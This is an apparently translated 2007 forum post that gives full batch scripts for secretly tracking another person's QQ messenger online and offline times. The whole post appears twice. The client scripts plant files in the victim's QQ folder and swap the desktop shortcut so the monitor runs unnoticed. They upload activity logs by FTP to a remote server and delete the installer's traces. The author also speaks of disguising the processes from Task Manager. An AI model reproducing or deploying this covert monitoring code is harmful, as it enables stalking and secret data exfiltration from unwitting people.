Writing this batch is purely for fun, with no technical content. Please don't be BT ^_^
The batch file that replaces QQ numbers in files uses the code of the moderator lxmxn... Hehe, I can't write it myself.
Originally, I wanted to change the filenames of ping.exe, find.exe, ftp.exe, etc. to make it not abnormal for the other party to check in the task manager, but I had difficulties when modifying the path of cmd.exe, so I didn't change it.
Client files:
____________________________
Click here to replace all text with QQ numbers.bat
\tihuan
Initialize bak.bat
QQbak.bat
QQ.vbs
Shortcut.exe shortcut creation EXE
sleep.exe delay
startbak
noicqbak
344536606onbak
344536606errorbak
344536606error2bak
344536606downbak
344536606down.txt
344536606error.txt
344536606exit.txt
344536606on.txt
Directory 344536606.txt not found
Please see instructions.txt
Already replaced.txt
__________________________________
Content of Initialize bak.bat
REM Find the directory where the QQ folder is located
:diskC
for /r c:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startC
:diskD
for /r d:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startD
:diskE
for /r e:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startE
:diskF
for /r f:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startF
:diskG
for /r g:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startG
:diskH
for /r h:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startH
:startC
if not exist "%qexepath%" goto diskD
goto next
:startD
if not exist "%qexepath%" goto diskE
goto next
:startE
if not exist "%qexepath%" goto diskF
goto next
:startF
if not exist "%qexepath%" goto :diskG
goto next
:startG
if not exist "%qexepath%" goto :DiskH
goto next
:startH
if not exist "%qexepath%" goto :no
goto next
If found, copy the file to the QQ directory
:next
copy qq.vbs "%qqpath%"
copy qq.bat "%qqpath%"
copy 344536606on "%qqpath%"
copy 344536606down "%qqpath%"
copy 344536606error "%qqpath%"
copy 344536606error2 "%qqpath%"
copy sleep.exe "%qqpath%"
ftp -s:start
REM Search for the QQ icon on the desktop and delete it, then create a new Q icon, the target is qq.vbs
for /r "%userprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
for /r "%allusersprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
Shortcut.exe /f:"%userprofile%\Desktop\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0"
REM Delete all used files
del qq.vbs
del qq.bat
del sleep.exe
del Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat
exit
REM If not found, return a report to ftp
:no
ftp -s:noicq
del qq.vbs
del qq.bat
del sleep.exe
Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat
Content of QQ.bat
REM Use ewh.db in the QQ number file directory as the judgment for going online, and naccountservice.dat as the judgment for going offline
@echo off
del 344536606\ewh.db
del 344536606\naccountservice.dat
start qq.exe
REM Find ping.exe in the process, because if the cmd daemon is still there, running it again will cause an error,
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
ping -n 12 127.1 > nul
if not exist 344536606\ewh.db goto detect
:start
date /t > 344536606on.txt
time /t >> 344536606on.txt
ftp -s:344536606on
REM If ":" is found in 344536606exit.txt: it means the last run was completed, not kissed or restarted. If not found, upload the report
type 344536606exit.txt|find ":" && goto online
ftp -s:344536606error
date /t >> 344536606error.txt
time /t >> 344536606error.txt
ftp -s:344536606error2
REM Detect naccountservice.dat, if it exists, it means offline
:online
set qqpath="%cd%"
cd 344536606
dir|find "naccountservice.dat" && goto downline
cd /d "%qqpath%"
ping -n 6 127.1 > nul
goto online
:downline
cd /d "%qqpath%"
date /t > 344536606down.txt
time /t >> 344536606down.txt
time /t > 344536606exit.txt
ftp -s:344536606down
del 344536606down.txt
del 344536606exit.txt
exit
REM If ewh.db is not detected after opening QQ, continue to detect a few more times, because some people will go online after a while
:detect
set /a max=%max%+1
if %max%==6 exit
set qqpath2="%cd%"
cd 344536606
dir|find "ewh.db" && cd /d "%qqpath2%" && goto start
cd /d "%qqpath2%"
ping -n 6 127.1 > nul
goto detect
Server files:
_______________
Server.bat
Server
_______________
Content of Server.bat
@echo off
:loop
color 07
ftp -s:Server
cls
color 0a
type Directory 344536606.txt not found|find "QQ" && goto exit
type 344536606exit.txt|find ":" && goto no
cls
echo.
echo.
echo.
echo The other party is online...
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's this time -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
:no
cls
echo.
echo.
echo.
echo The other party is not online...
echo.
echo.
echo The other party's last -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
:exit
type Directory 344536606.txt not found
pause>nul
Content of Server
open xxx.xxx.xxx
username
password
cd wwwroot
get 344536606on.txt
get 344536606down.txt
get 344536606exit.txt
get 344536606error.txt
get Directory 344536606.txt not found
bye
Download
Client
Server
[ Last edited by sweetdreamlan on 2007-10-26 at 01:49 AM ]
The batch file that replaces QQ numbers in files uses the code of the moderator lxmxn... Hehe, I can't write it myself.
Originally, I wanted to change the filenames of ping.exe, find.exe, ftp.exe, etc. to make it not abnormal for the other party to check in the task manager, but I had difficulties when modifying the path of cmd.exe, so I didn't change it.
Client files:
____________________________
Click here to replace all text with QQ numbers.bat
\tihuan
Initialize bak.bat
QQbak.bat
QQ.vbs
Shortcut.exe shortcut creation EXE
sleep.exe delay
startbak
noicqbak
344536606onbak
344536606errorbak
344536606error2bak
344536606downbak
344536606down.txt
344536606error.txt
344536606exit.txt
344536606on.txt
Directory 344536606.txt not found
Please see instructions.txt
Already replaced.txt
__________________________________
Content of Initialize bak.bat
REM Find the directory where the QQ folder is located
:diskC
for /r c:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startC
:diskD
for /r d:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startD
:diskE
for /r e:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startE
:diskF
for /r f:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startF
:diskG
for /r g:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startG
:diskH
for /r h:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startH
:startC
if not exist "%qexepath%" goto diskD
goto next
:startD
if not exist "%qexepath%" goto diskE
goto next
:startE
if not exist "%qexepath%" goto diskF
goto next
:startF
if not exist "%qexepath%" goto :diskG
goto next
:startG
if not exist "%qexepath%" goto :DiskH
goto next
:startH
if not exist "%qexepath%" goto :no
goto next
If found, copy the file to the QQ directory
:next
copy qq.vbs "%qqpath%"
copy qq.bat "%qqpath%"
copy 344536606on "%qqpath%"
copy 344536606down "%qqpath%"
copy 344536606error "%qqpath%"
copy 344536606error2 "%qqpath%"
copy sleep.exe "%qqpath%"
ftp -s:start
REM Search for the QQ icon on the desktop and delete it, then create a new Q icon, the target is qq.vbs
for /r "%userprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
for /r "%allusersprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
Shortcut.exe /f:"%userprofile%\Desktop\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0"
REM Delete all used files
del qq.vbs
del qq.bat
del sleep.exe
del Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat
exit
REM If not found, return a report to ftp
:no
ftp -s:noicq
del qq.vbs
del qq.bat
del sleep.exe
Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat
Content of QQ.bat
REM Use ewh.db in the QQ number file directory as the judgment for going online, and naccountservice.dat as the judgment for going offline
@echo off
del 344536606\ewh.db
del 344536606\naccountservice.dat
start qq.exe
REM Find ping.exe in the process, because if the cmd daemon is still there, running it again will cause an error,
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
ping -n 12 127.1 > nul
if not exist 344536606\ewh.db goto detect
:start
date /t > 344536606on.txt
time /t >> 344536606on.txt
ftp -s:344536606on
REM If ":" is found in 344536606exit.txt: it means the last run was completed, not kissed or restarted. If not found, upload the report
type 344536606exit.txt|find ":" && goto online
ftp -s:344536606error
date /t >> 344536606error.txt
time /t >> 344536606error.txt
ftp -s:344536606error2
REM Detect naccountservice.dat, if it exists, it means offline
:online
set qqpath="%cd%"
cd 344536606
dir|find "naccountservice.dat" && goto downline
cd /d "%qqpath%"
ping -n 6 127.1 > nul
goto online
:downline
cd /d "%qqpath%"
date /t > 344536606down.txt
time /t >> 344536606down.txt
time /t > 344536606exit.txt
ftp -s:344536606down
del 344536606down.txt
del 344536606exit.txt
exit
REM If ewh.db is not detected after opening QQ, continue to detect a few more times, because some people will go online after a while
:detect
set /a max=%max%+1
if %max%==6 exit
set qqpath2="%cd%"
cd 344536606
dir|find "ewh.db" && cd /d "%qqpath2%" && goto start
cd /d "%qqpath2%"
ping -n 6 127.1 > nul
goto detect
Server files:
_______________
Server.bat
Server
_______________
Content of Server.bat
@echo off
:loop
color 07
ftp -s:Server
cls
color 0a
type Directory 344536606.txt not found|find "QQ" && goto exit
type 344536606exit.txt|find ":" && goto no
cls
echo.
echo.
echo.
echo The other party is online...
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's this time -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
:no
cls
echo.
echo.
echo.
echo The other party is not online...
echo.
echo.
echo The other party's last -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
:exit
type Directory 344536606.txt not found
pause>nul
Content of Server
open xxx.xxx.xxx
username
password
cd wwwroot
get 344536606on.txt
get 344536606down.txt
get 344536606exit.txt
get 344536606error.txt
get Directory 344536606.txt not found
bye
Download
Client
Server
[ Last edited by sweetdreamlan on 2007-10-26 at 01:49 AM ]
